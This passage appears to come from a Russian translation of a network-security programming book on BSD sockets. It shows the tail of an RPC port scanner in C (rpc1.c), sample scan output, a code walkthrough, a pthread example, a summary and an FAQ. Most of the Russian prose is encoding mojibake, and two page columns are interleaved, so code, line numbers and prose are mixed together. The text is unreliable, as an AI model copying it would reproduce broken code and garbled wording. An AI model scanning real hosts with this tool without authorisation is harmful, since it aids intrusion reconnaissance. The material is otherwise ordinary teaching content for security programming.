253 (taddr >> 0x00) & 0xFF, (taddr >> 0x08) & 0xFF, 302 printf("rpcid() failed.\n");
254 (taddr >> 0x10) & 0xFF, (taddr >> 0x18) & 0xFF, 303 }
255 port); 304 return(-1);
256 } 305 }
186 Глава 3. BSD!сокеты Сканирование сети с помощью ТСР!сокетов 187
306 355
307 ++lport; 356 /*
308 } 357 * usage()
309 358 *
310 return(0); 359 *
311 } 360 */
312 361 void usage(char *prog)
313 /* 362 {
314 * parse() 363 printf("rpc1 00.00.01\n");
315 * 364 printf("usage: %s -t target_ip -p port_range\n", prog);
316 * 365 printf("ïðèìåð: %s -t 127.0.0.1 -p 1-1024\n\n" , prog);
317 */ 366 }
318 int parse (char *sprt, unsigned short *lport, 367
319 unsigned short *hport) 368 int
320 { 369 main(int argc, char *argv[])
321 char *tmp = NULL; 370 {
322 371 unsigned short lport = 0;
323 tmp = (char *) strchr(sprt, '-'); 372 unsigned short hport = 0;
324 if(tmp == NULL) 373 unsigned int cto_sec = RPC1_DEF_CTO_SEC;
325 { 374 char *targ = NULL;
326 *hport = 375 char *sprt = NULL;
327 *lport = (unsigned short) atoi(sprt); 376 char *tmp = NULL;
328 } 377 char ch = 0;
329 else 378 long rto_sec = RPC1_DEF_RTO_SEC;
330 { 379 int verb = 0;
331 *tmp = '\0'; 380 int ret = 0;
332 *lport = (unsigned short) atoi(sprt); 381
333 ++tmp; 382 signal(SIGALRM, sighandler);
334 *hport = (unsigned short) atoi(tmp ); 383 signal(SIGPIPE, sighandler);
335 } 384
336 385 opterr = 0;
337 if(*lport == 0 || 386 while((ch = getopt(argc, argv, "t:p:c:r:v")) != -1)
338 *hport == 0 || 387 {
339 (*lport > *hport)) 388 switch(ch)
340 { 389 {
341 return(-1); 390 case 't':
342 } 391 targ = optarg;
343 392 break;
344 return(0); 393 case 'p':
345 } 394 sprt = optarg;
346 395 break;
347 /* 396 case 'c':
348 * sighandler() 397 cto_sec = (unsigned int) atoi(optarg);
349 * 398 break;
350 * 399 case 'r':
351 */ 400 rto_sec = (long) atoi(optarg);
352 void sighandler (int sig) 401 break;
353 { 402 case 'v':
354 } 403 verb = 1;
188 Глава 3. BSD!сокеты Сканирование сети с помощью ТСР!сокетов 189
404 break; çàäàíî: öåëü: 10.0.8.16 lport: 32770l hport: 32780
405 case '?':
RPC 100024 [00186B8] @ 10.0.8.16:32771
406 default:
RPC 100024 [00186A2] @ 10.0.8.16:32772
407 usage(argv[0]); RPC 100024 [001877D] @ 10.0.8.16:32773
408 return(1); RPC 100024 [00186F3] @ 10.0.8.16:32775
409 } RPC 100024 [0049636] @ 10.0.8.16:32776
410 } RPC 100024 [0018799] @ 10.0.8.16:32775
411 ñêàíèðîâàíèå çàâåðøåíî.
412 if(targ == NULL ||
413 sprt == NULL) Ïðîãðàììà rpc1.c ïðèíèìàåò IP-àäðåñ öåëåâîãî õîñòà, íà÷àëüíûé è êîíå÷-
414 { íûé íîìåðà ïîðòîâ, âåëè÷èíó òàéìàóòà connect() â ñåêóíäàõ, âåëè÷èíó òàéìàó-
415 usage(argv[0]); òà recv() è ôëàã âûäà÷è ïîäðîáíîé äèàãíîñòèêè.  ïðîöåññå ðàáîòû îíà ïûòà-
416 return(1);
åòñÿ îòêðûòü TCP-ïîðòû èç çàäàííîãî äèàïàçîíà. Äëÿ êàæäîãî îáíàðóæåí-
417 }
418
íîãî îòêðûòîãî ïîðòà âûïîëíÿåòñÿ îïåðàöèÿ RPC ñ öåëüþ îïðåäåëèòü íîìåð
419 ret = parse(sprt, &lport, &hport); ïðîãðàììû. Åñëè ýòî óäàåòñÿ, òî íîìåð ïîðòà è ñîîòâåòñòâóþùèé åìó íîìåð
420 if(ret < 0) ïðîãðàììû âûâîäÿòñÿ íà ñòàíäàðòíûé âûâîä.
421 {
422 printf("îøèáêà parse().\n");
423 return(1); Анализ
424 }
425
  ñòðîêàõ 9–15 âêëþ÷àþòñÿ íåîáõîäèìûå çàãîëîâî÷íûå ôàéëû.
426 printf("\nçàäàíî: öåëü: %s; lport: %d; hport: %d\n\n",  Â ñòðîêàõ 17–19 îïðåäåëÿþòñÿ íåñêîëüêî êîíñòàíò. Êîíñòàíòà
427 targ, lport, hport); RPC1_CTO_TO çàäàåò âåëè÷èíó òàéìàóòà connect() â ñåêóíäàõ, à êîíñòàí-
428 òà RPC1_RTO_TO – âåëè÷èíó òàéìàóòà recv(), òîæå â ñåêóíäàõ.
429 ret = scan(targ, lport, hport, cto_sec, rto_sec, verb);   ñòðîêàõ 24–27 îáúÿâëåí ìàññèâ áåççíàêîâûõ öåëûõ ÷èñåë. Ýòî íîìåðà
430 if(ret < 0) èçâåñòíûõ RPC-ïðîãðàìì, êîòîðûå ìû ïûòàåìñÿ îáíàðóæèòü. Êàæäûé
431 {
èç ýòèõ íîìåðîâ ïîñëåäîâàòåëüíî ïîñûëàåòñÿ ñëóæáå RPC. Åñëè êàêîé-
432 printf("îøèáêà scan().\n");
433 return(1);
ëèáî èç íîìåðîâ ñîâïàäåò ñ çàðåãèñòðèðîâàííûì â ýòîé ñëóæáå, ìîæíî
434 } ñ÷èòàòü, ÷òî ïðîãðàììà èäåíòèôèöèðîâàíà. Äëÿ óâåëè÷åíèÿ ÷èñëà èäåí-
435 òèôèöèðóåìûõ ïðîãðàìì ñëåäóåò äîáàâèòü èõ íîìåðà â ýòîò ìàññèâ.
436 printf("ñêàíèðîâàíèå çàâåðøåíî.\n");  Â ñòðîêàõ 44–89 îïðåäåëåíà ôóíêöèÿ hexdisp(), êîòîðàÿ ïðèíèìàåò äâà
437 ïàðàìåòðà: óêàçàòåëü íà ìàññèâ ñèìâîëîâ è äëèíó ýòîãî ìàññèâà â áàé-
438 return(0);
òàõ. Ýòà ôóíêöèÿ ôîðìàòèðóåò íàõîäÿùèåñÿ â óêàçàííîì ìàññèâå ñèì-
439 }
âîëû, ïðåäñòàâëÿÿ èõ â ÷èòàåìîì âèäå, è âûâîäèò ðåçóëüòàò íà ïå÷àòü.
Ôîðìàò àíàëîãè÷åí ïðèíÿòîìó â ïðîãðàììå tcpdump, êîãäà îíà âûçûâà-
Компиляция åòñÿ ñ ôëàãîì –X.
obsd32# gcc -o rpc1 rpc1.c
 Â ñòðîêàõ 97–101 îïðåäåëåíû ôðàãìåíòû RPC-çàïðîñà. Âïîñëåäñòâèè
çíà÷åíèå RPC1_ID_HEAD áóäåò ïîìåùåíî â íà÷àëî áóôåðà ñîîáùå-
íèÿ, çà íèì – 4-áàéòîâîå áåççíàêîâîå öåëîå, ñîäåðæàùåå íîìåð ïðî-
Пример исполнения ãðàììû, è â êîíöå – çíà÷åíèå RPC1_ID_TAIL.  ñîâîêóïíîñòè ýòè òðè
obsd32# ./rpc1 ÷àñòè ñîñòàâëÿþò ïîëíûé RPC-çàïðîñ.
rpc1 00.00.01  Â ñòðîêàõ 103–157 îïðåäåëÿåòñÿ ôóíêöèÿ rpcidport(), êîòîðàÿ ïðèíèìà-
usage: ./rpc1 -t target_ip -p port_range
ïðèìåð: ./rpc1 -t 127.0.0.1 -p 1-1024
åò òðè ïàðàìåòðà. Ïåðâûé – ýòî äåñêðèïòîð ñîêåòà, ïðåäâàðèòåëüíî ñî-
åäèíåííîãî ñ öåëåâûì ïîðòîì ôóíêöèåé connect(). Âòîðîé – ýòî óêàçà-
obsd32# ./rpc1 -t 10.0.8.16 -p 32770-32780 òåëü íà áåççíàêîâîå öåëîå, â êîòîðîå áóäåò ïîìåùåí íîìåð èäåíòèôè-
190 Глава 3. BSD!сокеты Многопоточность и параллелизм 191

öèðîâàííîé RPC-ïðîãðàììû. Òðåòèé ïàðàìåòð – öåëîå ÷èñëî, ãîâîðÿ-   ñòðîêàõ 351–353 îïðåäåëÿåòñÿ ôóíêöèÿ sighandler(). Åå âûçûâàåò îïå-
ùåå î òîì, äîëæíà ëè ôóíêöèÿ rpcidport() ïå÷àòàòü ñîîáùåíèÿ îá ðàöèîííàÿ ñèñòåìà â ñëó÷àå âîçíèêíîâåíèÿ ñèãíàëîâ SIGPIPE èëè
îøèáêàõ. Ôóíêöèÿ â öèêëå ïåðåáèðàåò âñå íîìåðà ïðîãðàìì, õðàíÿùè- SIGALRM. Ñèãíàë SIGPIPE ïîñûëàåòñÿ ïðîãðàììå, åñëè óäàëåííûé õîñò
åñÿ â ìàññèâå progid, êîòîðûé áûë îáúÿâëåí â ñòðîêå 24. Äëÿ êàæäîãî çàêðûë ñâîé êîíåö TCP-ñîåäèíåíèÿ, à ïðîãðàììà ïûòàåòñÿ ïèñàòü äàí-
íîìåðà èç êîíñòàíò RPC1_ID_HEAD, RPC1_ID_TAIL è íîìåðà ïðîãðàì- íûå â ñîêåò. Òàêîå ìîæåò ñëó÷èòüñÿ ïðè ïîïûòêå èäåíòèôèöèðîâàòü
ìû ñòðîèòñÿ RPC-çàïðîñ. Â ñòðîêå 124 ýòîò çàïðîñ îòïðàâëÿåòñÿ â öåëå- íîìåð RPC-ïðîãðàììû íà ïîðòó, ãäå ïðîòîêîë RPC íå ïîääåðæèâàåòñÿ.
âîé ïîðò ôóíêöèåé send().  ñòðîêå 134 ôóíêöèÿ recv() ÷èòàåò îòâåò. Ñèãíàë SIGPIPE íåîáõîäèìî îáðàáîòàòü, ïîñêîëüêó ïî óìîë÷àíèþ
Åñëè äëèíà îòâåòà íå ìåíåå 28 áàéòîâ, òî îí çàñëóæèâàåò ðàññìîòðåíèÿ. îïåðàöèîííàÿ ñèñòåìà ïðè åãî ïîñòóïëåíèè çàâåðøàåò ïðèëîæåíèå.
 ñòðîêàõ 137–142 àíàëèçèðóþòñÿ 6 áàéòîâ îòâåòà, ÷òîáû ïîíÿòü, ñî- Ñèãíàë SIGALRM ïîñûëàåòñÿ ïî ïðîøåñòâèè ÷èñëà ñåêóíä, çàäàííîãî
äåðæàë ëè ïîñëàííûé çàïðîñ êîððåêòíûé íîìåð RPC-ïðîãðàììû. Åñëè ïðè âûçîâå ôóíêöèè alarm(). Âñå ôóíêöèè, áëîêèðîâàííûå â îæèäà-
ýòî òàê, òî íîìåð ïîìåùàåòñÿ â ïåðåìåííóþ id è ôóíêöèÿ âîçâðàùàåò íèè çàâåðøåíèÿ êàêîé-ëèáî îïåðàöèè, íåìåäëåííî âîçâðàùàþò êîä
óïðàâëåíèå. îøèáêè. Òàêèì îáðàçîì, ìû ìîæåì ïðåðâàòü ôóíêöèþ connect(), åñëè
  ñòðîêàõ 164–221 îïðåäåëÿåòñÿ ôóíêöèÿ makesock(). Îíà ïðåîáðàçóåò âðåìåíè äëÿ åå çàâåðøåíèÿ òðåáóåòñÿ áîëüøå, ÷åì óêàçàíî â ïðåäøå-
çàäàííûé IP-àäðåñ èç òî÷å÷íî-äåñÿòè÷íîé íîòàöèè â áåççíàêîâîå öåëîå ñòâóþùåì åé âûçîâå alarm(). Ôóíêöèÿ alarm() ïðèìåíÿåòñÿ äëÿ òîé æå
÷èñëî. Çàòåì ñ ïîìîùüþ ôóíêöèè socket() ñîçäàåòñÿ ñîêåò, ïðèãîäíûé öåëè â ñòðîêå 188 ïðîãðàììû rpc1.c.
äëÿ îòïðàâêè è ïðèåìà äàííûõ ïî ïðîòîêîëó TCP. Ïîëó÷åííûé ñîêåò   ñòðîêàõ 360–365 îïðåäåëÿåòñÿ ôóíêöèÿ usage(). Îíà ïå÷àòàåò ñîîáùå-
ñîåäèíÿåòñÿ ñ öåëåâûì IP-àäðåñîì è ïîðòîì ñ ïîìîùüþ ôóíêöèè íèå î ïîðÿäêå çàïóñêà ïðîãðàììû.
connect(). Åñëè âñå îïåðàöèè çàâåðøèëèñü óñïåøíî, òî makesock() âîç-   ñòðîêàõ 368–438 îïðåäåëÿåòñÿ ôóíêöèÿ main(). Ýòî ãëàâíàÿ òî÷êà âõî-
âðàùàåò êîððåêòíûé äåñêðèïòîð ñîêåòà, â ïðîòèâíîì ñëó÷àå – îòðèöà- äà â ïðîãðàììó. Îíà îáðàáàòûâàåò çàäàííûå â êîìàíäíîé ñòðîêå àðãó-
òåëüíîå ÷èñëî. ìåíòû, ïîñëå ÷åãî âûçûâàåò scan() äëÿ âûïîëíåíèÿ ñêàíèðîâàíèÿ.
 Â ñòðîêàõ 228–270 îïðåäåëÿåòñÿ ôóíêöèÿ rpcid(). Îíà ñîçäàåò ñîêåò ñ ïî-
ìîùüþ makesock() è âûçûâàåò rpcidport(), ÷òîáû èäåíòèôèöèðîâàòü
ïðîãðàììó, ðàáîòàþùóþ íà ïîðòó, ñ êîòîðûì ñîåäèíåí ñîêåò. Åñëè ïðî-
ãðàììà îïîçíàíà, òî ïå÷àòàåòñÿ IP-àäðåñ, íîìåð ïîðòà è íîìåð ýòîé
Многопоточность и параллелизм
ïðîãðàììû. Ïåðâûì ïàðàìåòðîì ôóíêöèè ÿâëÿåòñÿ IP-àäðåñ öåëåâîãî Äëÿ ïîâûøåíèÿ ïðîèçâîäèòåëüíîñòè è ìàñøòàáèðóåìîñòè ñåòåâûõ ïðèëîæå-
õîñòà, âòîðûì – íîìåð ïîðòà, òðåòüèì – âåëè÷èíà òàéìàóòà connect(), íèé áûâàåò ïîëåçíî îðãàíèçîâàòü íåñêîëüêî ïîòîêîâ. Îäíîïîòî÷íîå ïðè-
÷åòâåðòûì – âåëè÷èíà òàéìàóòà recv(), à ïÿòûì – ôëàã, ãîâîðÿùèé ëîæåíèå, êàêîâûì ÿâëÿåòñÿ rpc1.c, âûïîëíÿåò âñå îïåðàöèè ïîñëåäîâàòåëüíî.
î òîì, äîëæíà ëè ôóíêöèÿ rpcid() ïå÷àòàòü ñîîáùåíèÿ îá îøèáêàõ. Åñëè íåêîòîðûå èç íèõ òðåáóþò ìíîãî âðåìåíè, òî è âñÿ ïðîãðàììà áóäåò
 Â ñòðîêàõ 277–310 îïðåäåëÿåòñÿ ôóíêöèÿ scan(), êîòîðàÿ ïðèíèìàåò ðàáîòàòü äîëãî. Ïîýòîìó èìååò ñìûñë ðàçáèòü ïðîãðàììó íà îòäåëüíûå ôóíê-
øåñòü ïàðàìåòðîâ. Ïåðâûé – ýòî IP-àäðåñ öåëåâîãî õîñòà, âòîðîé – íî- öèè, âûïîëíÿåìûå ïàðàëëåëüíî â íåñêîëüêèõ ïîòîêàõ.
ìåð ïîðòà, ñ êîòîðîãî íà÷èíàòü ñêàíèðîâàíèå, òðåòèé – íîìåð ïîðòà, íà Ñòàíäàðòíûì ñðåäñòâîì äëÿ ðåàëèçàöèè ìíîãîïîòî÷íîñòè â UNIX è UNIX-
êîòîðîì ñêàíèðîâàíèå ñëåäóåò çàêîí÷èòü. ×åòâåðòûé è ïÿòûé ïàðà- ïîäîáíûõ îïåðàöèîííûõ ñèñòåìàõ ñëóæèò áèáëèîòåêà pthread, â êîòîðîé îï-
ìåòð áåç èçìåíåíèÿ ïåðåäàþòñÿ ôóíêöèè rpcid(). Øåñòîé ïàðàìåòð – ðåäåëåíî äîâîëüíî ìíîãî ôóíêöèé. Íàèáîëåå âàæíîé èç íèõ ÿâëÿåòñÿ ôóí-
ýòî ôëàã, ãîâîðÿùèé î òîì, äîëæíà ëè ôóíêöèÿ scan() ïå÷àòàòü ñîîá- êöèÿ pthread_create():
ùåíèÿ îá îøèáêàõ. Ôóíêöèÿ â öèêëå ïåðåáèðàåò âñå TCP-ïîðòû â óêà-
çàííîì äèàïàçîíå è äëÿ êàæäîãî ïîðòà âûçûâàåò rpcid(), ÷òîáû ïðîâå- int pthread_create (pthread_t *thread, const pthread_attr_t *attr,
ðèòü, ðàáîòàåò ëè íà ýòîì ïîðòó êàêàÿ-íèáóäü RPC-ïðîãðàììà. void *(*start_routine)(void *), void *arg);
 Â ñòðîêàõ 317–344 îïðåäåëÿåòñÿ ôóíêöèÿ parse(). Îíà çàíèìàåòñÿ ðàçáî-
ðîì çàäàííîãî â êîìàíäíîé ñòðîêå íîìåðà ïîðòà èëè äèàïàçîíà íîìå- Ýòà ôóíêöèÿ ñîçäàåò íîâûé ïîòîê èñïîëíåíèÿ. Îíà ïðèíèìàåò ÷åòûðå ïà-
ðîâ è çàïèñûâàåò çíà÷åíèÿ íà÷àëüíîãî è êîíå÷íîãî ïîðòîâ â äâà áåç- ðàìåòðà, èç êîòîðûõ âòîðîé íà ïðàêòèêå îáû÷íî èãíîðèðóåòñÿ. Ïåðâûé ïà-
çíàêîâûõ êîðîòêèõ öåëûõ ÷èñëà. Äëÿ ïðåîáðàçîâàíèÿ ñòðîêîâîãî íî- ðàìåòð – ýòî óêàçàòåëü íà ïåðåìåííóþ òèïà pthread_t, òðåòèé – àäðåñ ôóíê-
ìåðà ïîðòà ÷èñëî âûçûâàåòñÿ ôóíêöèÿ atoi(). öèè, ñ êîòîðîé íà÷èíàåò ðàáîòàòü íîâûé ïîòîê. ×åòâåðòûé ïàðàìåòð – ýòî
192 Глава 3. BSD!сокеты Обзор изложенного материала 193

íåòèïèçèðîâàííûé óêàçàòåëü, êîòîðûé áóäåò ïåðåäàí íà÷àëüíîé ôóíêöèè


ïîòîêà ïðè åå âûçîâå. Резюме
 ïðèìåðå 3.11 äåìîíñòðèðóåòñÿ èñïîëíåíèå ôóíêöèè test() â îòäåëüíîì
ïîòîêå. API BSD-ñîêåòîâ – ýòî ðàçâèòûé ìåõàíèçì äëÿ ðåàëèçàöèè îáìåíà äàííûìè
ïî ñåòè. API ïðåäîñòàâëÿåò áàçîâûé íàáîð ôóíêöèé, ïðèìåíÿåìûõ ïî÷òè
Пример 3.11. Многопоточность îäèíàêîâî äëÿ ðàáîòû ïî ïðîòîêîëàì TCP è UDP. Çàäàâàÿ îïöèè ñîêåòîâ
1 #include <stdio.h> ñ ïîìîùüþ ôóíêöèè setsockopt(), ìîæíî îáåñïå÷èòü íåîáõîäèìóþ ãèáêîñòü
2 #include <unistd.h> è òîíêóþ íàñòðîéêó.
3  çàâèñèìîñòè îò òîãî, ÷òî âàì íóæíî – áûñòðîå ïîëó÷åíèå ðåçóëüòàòà èëè
4 #include <pthread.h> ñîçäàíèå ñëîæíîãî ìàñøòàáèðóåìîãî ïðèëîæåíèÿ – ìîæíî ïðîåêòèðîâàòü
5
6 void *test(void *arg)
ïðîãðàììó ïî-ðàçíîìó. Îäèí èç ñïîñîáîâ ïîâûñèòü ïðîèçâîäèòåëüíîñòü –
7 { ýòî ìíîãîïîòî÷íîñòü.  ñôåðå ñåòåâîé äèàãíîñòèêè è èíôîðìàöèîííîé áå-
8 printf("ïîòîê 2!\n"); çîïàñíîñòè API ñîêåòîâ îêàçûâàåòñÿ íåîöåíèìûì ñðåäñòâîì ñîçäàíèÿ óòèëèò
9 } äëÿ óäàëåííîãî ñêàíèðîâàíèÿ è ëîêàëüíîãî ìîíèòîðèíãà.
10
11 int
12
13
14
main(void)
{
pthread_t th;
Обзор изложенного материала
15 int ret = 0; Ââåäåíèå â ïðîãðàììèðîâàíèå BSD-ñîêåòîâ
16
17 ret = pthread_create(&th, NULL, test, NULL); ; API BSD-ñîêåòîâ ñîñòîèò èç ôóíêöèé è òèïîâ äàííûõ.
18 if(ret != 0) ; Âïåðâûå API BSD-ñîêåòîâ ïîÿâèëñÿ â îïåðàöèîííîé ñèñòåìå BSD UNIX
19 { â íà÷àëå 1980-õ ãîäîâ. Òåïåðü îí ðåàëèçîâàí ïî÷òè âî âñåõ UNIX-ïî-
20 printf("îøèáêà pthread_create().\n");
21 return(1);
äîáíûõ ñèñòåìàõ è ïîääåðæèâàåòñÿ íà ïëàòôîðìå Microsoft Windows
22 } (Winsock).
23 ; API BSD-ñîêåòîâ øèðîêî èñïîëüçóåòñÿ â ïðîãðàììàõ íà ÿçûêå C äëÿ
24 sleep(2); ðåàëèçàöèè ðàáîòû ñ ïðîòîêîëàìè TCP è UDP.
25
26 printf("ïîòîê 1!\n");
27 Êëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà TCP
28 return(1);
; Õîòÿ ïðîòîêîë TCP ñëîæíåå, ÷åì UDP, äà, ïîæàëóé, è âñå îñòàëüíûå
29 }
ïðîòîêîëû â ñåìåéñòâå TCP/IP, íî èìåííî îí ÿâëÿåòñÿ íàèáîëåå ïîïó-
ëÿðíûì ïðîòîêîëîì ïåðåäà÷è äàííûõ â ñåòè Èíòåðíåò.
Ìíîãîïîòî÷íîñòü – ýòî ïîëåçíûé èíñòðóìåíò äëÿ ðåàëèçàöèè áîëåå ýô-
ôåêòèâíûõ ñåòåâûõ ïðîãðàìì. Òàêèå ïðîãðàììû ìîãóò âûïîëíÿòü ñåòåâûå
îïåðàöèè íå ñòðîãî ïîî÷åðåäíî, à ïàðàëëåëüíî â ðàçíûõ ïîòîêàõ. Êðîìå Êëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà TCP
òîãî, ìíîãîïîòî÷íûìè ÷àñòî äåëàþò äèàãíîñòè÷åñêèå ñåòåâûå ïðîãðàììû è ; Ïðîãðàììèðîâàíèå UDP-ñîêåòîâ âî ìíîãîì ïîõîæå íà ïðîãðàììèðî-
ïðèëîæåíèÿ äëÿ ïðîâåðêè áåçîïàñíîñòè. âàíèå TCP-ñîêåòîâ. Íî, ïîñêîëüêó ïðîòîêîë UDP íå òðåáóåò óñòàíîâëå-
Îðãàíèçîâàâ íåñêîëüêî ïîòîêîâ, ìîæíî èñïîëíÿòü â íèõ îòäåëüíî îïåðà- íèÿ ñîåäèíåíèÿ, òî ïðåäâàðèòåëüíàÿ íàñòðîéêà, îòïðàâëåíèå è ïîëó÷å-
öèè îòïðàâêè è ïîëó÷åíèÿ äàííûõ, ïðèìåíÿåìûå â óòèëèòàõ ñêàíèðîâàíèÿ, íèå äàòàãðàìì îêàçûâàþòñÿ íåñêîëüêî ïðîùå.
òîãäà íå ïðèäåòñÿ äîæèäàòüñÿ èñòå÷åíèÿ òàéìàóòà ïðè ÷òåíèè äàííûõ è ; UDP – ýòî íå ïîòîêîâûé ïðîòîêîë, îòïðàâëåííûå äàííûå ïðèõîäÿò
âïîñëåäñòâèè ïîâòîðÿòü îïåðàöèþ, âåäü íèêòî íå ìåøàåò ïîëó÷àòü îòâåò åäèíûì áëîêîì, êîòîðûé íàçûâàåòñÿ äàòàãðàììîé.
ñ ìàêñèìàëüíî âîçìîæíîé ñêîðîñòüþ â îòäåëüíîì ïîòîêå.  ðåçóëüòàòå îá- ;  çàãîëîâêå ïðîòîêîëà UDP åñòü âñåãî ÷åòûðå ïîëÿ: ïîðò ïîëó÷àòåëÿ,
ùàÿ ïðîèçâîäèòåëüíîñòü ïðîãðàììû ðåçêî âîçðàñòàåò. ïîðò îòïðàâèòåëÿ, äëèíà è êîíòðîëüíàÿ ñóììà.
194 Глава 3. BSD!сокеты Часто задаваемые вопросы 195

Îïöèè ñîêåòîâ
; Ôóíêöèÿ setsockopt() ïîçâîëÿåò ìîäèôèöèðîâàòü ïàðàìåòðû íà ðàçëè÷-
Ссылки на сайты
íûõ óðîâíÿõ ïðîòîêîëà. Äëÿ àäðåñíîãî ñåìåéñòâà AF_INET ìîæíî èç- Áîëåå ïîäðîáíóþ èíôîðìàöèþ âû ìîæåòå íàéòè íà ñëåäóþùèõ ñàéòàõ:
ìåíÿòü êàê îïöèè ñàìîãî ñîêåòà, òàê è íåêîòîðûå àñïåêòû ñâÿçàííûõ  www.appl icationdefense.com. Íà ñàéòå Appl ication Defense èìååòñÿ áîëü-
ñ íèì ïðîòîêîëîâ, à èìåííî: IPv4, UDP, TCP, ICMP. øàÿ ïîäáîðêà áåñïëàòíûõ èíñòðóìåíòîâ ïî îáåñïå÷åíèþ áåçîïàñíîñòè
; ×àùå âñåãî ìîäèôèöèðóþòñÿ ïàðàìåòðû íà óðîâíå ñîêåòà, â òîì ÷èñëå: â äîïîëíåíèå ê ïðîãðàììàì, ïðåäñòàâëåííûì â ýòîé êíèãå;
ìåõàíèçì îáðàáîòêè îøèáîê, áóôåðèçàöèè, èíòåðïðåòàöèè àäðåñîâ,  http://www.iana.org/assignments/port-numbers. Íà ñàéòå Àãåíñòâà ïî âû-
à òàêæå âåëè÷èíû òàéìàóòîâ ïðè ïåðåäà÷å è ïðèåìå äàííûõ. äåëåíèþ èìåí è óíèêàëüíûõ ïàðàìåòðîâ ïðîòîêîëîâ Internet (Internet
Assigned Numbers Authority – IANA) îïóáëèêîâàí ïîëíûé ñïèñîê îôè-
Ñêàíèðîâàíèå ñåòè ñ ïîìîùüþ UDP-ñîêåòîâ öèàëüíî âûäåëåííûõ ïîðòîâ. Ýòî ïðåêðàñíîå ïîäñïîðüå êàê äëÿ íà-
; Ïðîòîêîë SNMP øèðîêî ïðèìåíÿåòñÿ äëÿ ïîëó÷åíèÿ è ìîäèôèêàöèè ÷èíàþùåãî ñïåöèàëèñòà ïî áåçîïàñíîñòè, òàê è äëÿ õàêåðà;
ðàçíîãî ðîäà àäìèíèñòðàòèâíûõ ïàðàìåòðîâ êîìïüþòåðîâ è óñòðîéñòâ,  http://www.private.org.il/tcpi p_rl.html. Ïîðòàë Þðèÿ Ðàöà (Uri Raz) ïî-
ïîäñîåäèíåííûõ ê ñåòè. Äëÿ ýòîé öåëè â íåì îïðåäåëåíû çàïðîñû ñâÿùåí ñåìåéñòâó ïðîòîêîëîâ TCP/IP.
GetRequest è SetRequest, èíêàïñóëèðóåìûå â UDP-äàòàãðàììû.

Ñêàíèðîâàíèå ñåòè ñ ïîìîùüþ TCP-ñîêåòîâ Часто задаваемые вопросы


; Ïðîòîêîë RPC äàåò âîçìîæíîñòü ðàçáèòü ïðîãðàììó íà ÷àñòè, ðàáîòàþ-
Ñëåäóþùèå ðàñïðîñòðàíåííûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
ùèå íà íåñêîëüêèõ êîìïüþòåðàõ.
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëîæåí-
; Ñëóæáà îòîáðàæåíèÿ ïîðòîâ ïðîñëóøèâàåò TCP è UDP-ïîðò 111. Óäà-
íûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õîòèòå
ëåííûå õîñòû ìîãóò ïåðåäàòü ýòîé ñëóæáå íîìåð êîíêðåòíîé ïðîãðàì-
çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions è çà-
ìû è ïîëó÷èòü â îòâåò íîìåð TCP èëè UDP-ïîðòà, íà êîòîðîì îíà ðàáî-
ïîëíèòå ôîðìó Ask the Author
Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì äðó-
òàåò. Ýòî ñòàíäàðòíûé ñïîñîá îáíàðóæåíèÿ RPC-ïðîãðàìì.
ãèõ FAQîâ íà ñàéòå ITFAQnet.com.
; Åñëè ñëóæáà îòîáðàæåíèÿ ïîðòîâ îòêëþ÷åíà èëè íåäîñòóïíà èç âàøåé
ñåòè, òî ïóòåì ïðîâåðêè îòêðûòûõ ïîðòîâ â çàäàííîì äèàïàçîíå âñå
Â: Êàê ïîëó÷èòü áîëåå ïîäðîáíóþ èíôîðìàöèþ îá îøèáêå ïðè ïðîãðàì-
æå ìîæíî îïðåäåëèòü, êàêèå RCP-ñåðâèñû ðàáîòàþò.
ìèðîâàíèè BSD-ñîêåòîâ?
Î: Íà ïëàòôîðìå UNIX òàêóþ èíôîðìàöèþ ìîæíî ïîëó÷èòü ñ ïîìîùüþ
Ìíîãîïîòî÷íîñòü è ïàðàëëåëèçì ïåðåìåííîé errno. Åñëè êàêàÿ-ëèáî ôóíêöèÿ èç API ñîêåòîâ âîçâðàùàåò –1,
; Áèáëèîòåêà pthread – ýòî ñòàíäàðòíîå ñðåäñòâî ðåàëèçàöèè ìíîãîïî- òî â ãëîáàëüíîé ïåðåìåííîé errno áóäåò íàõîäèòüñÿ öåëî÷èñëåííîå çíà÷åíèå,
òî÷íîñòè â UNIX-ïîäîáíûõ ñèñòåìàõ. èíäèöèðóþùåå òèï îøèáêè. Ïðîàíàëèçèðîâàâ êîä îøèáêè, ïðîãðàììèñò
; Âàæíåéøåé èç âñåõ ôóíêöèé â ýòîé áèáëèîòåêå ÿâëÿåòñÿ pthread_create. ñìîæåò ïðåäïðèíÿòü àäåêâàòíûå äåéñòâèÿ. Âîçìîæíûå çíà÷åíèÿ errno îïðå-
äåëåíû â çàãîëîâî÷íîì ôàéëå errno.h, êîòîðûé îáû÷íî íàõîäèòñÿ â êàòàëîãå
/usr/include. ×òîáû ïîëó÷èòü äîñòóï ê ïåðåìåííîé errno, äîñòàòî÷íî âêëþ-
÷èòü ýòîò ôàéë â ñâîþ ïðîãðàììó, íàïðèìåð: #include <errno.h>.

Â: Îäèíàêîâ ëè èíòåðôåéñ ê BSD-ñîêåòàì íà âñåõ ïëàòôîðìàõ UNIX?


Î:  îñíîâíûõ ÷åðòàõ ïðîãðàììíûé èíòåðôåéñ ñîâìåñòèì íà âñåõ UNIX-
ïëàòôîðìàõ. Íî èìåþòñÿ è íåêîòîðûå ðàçëè÷èÿ, êîòîðûå íàäî ó÷èòûâàòü
ïðè íàïèñàíèè ïåðåíîñèìûõ ïðîãðàìì. Îíè êàñàþòñÿ çíà÷åíèé êîíñòàíò,
èìåí çàãîëîâî÷íûõ ôàéëîâ è ðÿäà ôóíêöèé. Íàïðèìåð, â ñèñòåìàõ, âåäóùèõ
196 Глава 3. BSD!сокеты

ïðîèñõîæäåíèå îò îïåðàöèîííîé ñèñòåìû BSD UNIX, èìååòñÿ ôóíêöèÿ


getifaddrs(), êîòîðàÿ ïîçâîëÿåò ïåðå÷èñëèòü âñå ñåòåâûå èíòåðôåéñû íà äàí-
